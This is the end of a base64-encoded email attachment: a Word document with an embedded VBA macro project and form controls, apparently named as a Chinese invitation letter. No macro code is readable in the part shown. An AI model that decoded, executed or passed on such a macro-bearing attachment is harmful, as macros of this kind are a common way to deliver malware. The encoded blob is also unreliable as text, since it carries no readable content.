AOMFAAD///////8BASACAAD//////////////////////////wACAAD/////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
/////////////////////yi9NwndE9YRuJIAoMmg4Az/////AQAAAP////9gAAAAgAAAAAAAFwEY
AP8AhCcAAAQEV29yZLVrEAADBFZCQffiEAAFBFdpbjE2wX4QAAUEV2luMzIHfxAAAwRNYWOzshAA
KwRJbnZpdGF0aW9ubGV0dGVyX0NoaW5lc2VfZmluYWxfd2l0aCBoZWFkZXIyQ+IQAAYEc3Rkb2xl
k2AQAAcATVNGb3Jtc0MPEAAMBFRoaXNEb2N1bWVudDyeEAAJgAAA/wMEAF9FdmFsdWF0ZRjZEAAP
AFRlbXBsYXRlUHJvamVjdIFFEAAGhAgA/wMEAE9mZmljZRV1EAAHBFByb2plY3QtrhAACIQIAP8D
AQBEb2N1bWVudGrTEAAJBEhUTUxUZXh0McpbEAAJBEhUTUxUZXh0MstbEAAJBEhUTUxUZXh0M8xb
EAAJBEhUTUxUZXh0NM1bEAAJBEhUTUxUZXh0Nc5bEAAJBEhUTUxUZXh0Ns9bEAAJBEhUTUxUZXh0
N9BbEAAJBEhUTUxUZXh0ONFbEAAJBEhUTUxUZXh0OdJbEAAKBEhUTUxUZXh0MTAvQRAAAv//AQFg
AAAAAAIBAP//AgIAAP//////////////////////////////////DAICAP//DgIDAP//EQIAAAgA
////////FAIEAP//FgIFAP//GAL/////////////////////////////CAAQAAAAAQASAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASUQ9InswOTM3QkQzQy0xM0RELTExRDYtQjg5
Mi0wMEEwQzlBMEUwMEN9Ig0KRG9jdW1lbnQ9VGhpc0RvY3VtZW50LyZIMDAwMDAwMDANCk5hbWU9
IlByb2plY3QiDQpIZWxwQ29udGV4dElEPSIwIg0KQ01HPSJGQ0ZFMzIzMEQyMjhENjI4RDYyOEQ2
MjhENiINCkRQQj0iRjhGQTM2QzkzN0M5MzdDOSINCkdDPSJGNEY2M0EzOENBMzVDQjM1Q0JDQSIN
Cg0KW0hvc3QgRXh0ZW5kZXIgSW5mb10NCiZIMDAwMDAwMDE9ezM4MzJENjQwLUNGOTAtMTFDRi04
RTQzLTAwQTBDOTExMDA1QX07VkJFOyZIMDAwMDAwMDANCiZIMDAwMDAwMDI9ezAwMDIwOUYyLTAw
MDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn07V29yZDguMDsmSDAwMDAwMDAwDQoAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQABAAAAGtESVcZczxGNZwCqAL3OHQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFRoaXNEb2N1bWVudABUAGgAaQBzAEQAbwBjAHUAbQBlAG4A
dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABG
GAAAAE1pY3Jvc29mdCBXb3JkIERvY3VtZW50AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1l
bnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAFAAUgBPAEoARQBDAFQAbABrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAUAAIB/////w0AAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAWQAAAB4AAAAAAAAAUABSAE8ASgBFAEMAVAB3AG0AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAgD///////////////8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaAAAAKQAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAf////8PAAAA////
/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFsAAABqAAAAAAAAAE8AYgBqAGUA
YwB0AFAAbwBvAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW
AAEA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAADw8Uz3kr/BAfDxTPeSv8EBAAAAAAAA
AAAAAAAA

------=_NextPart_000_0028_01C1C236.D6894F30--


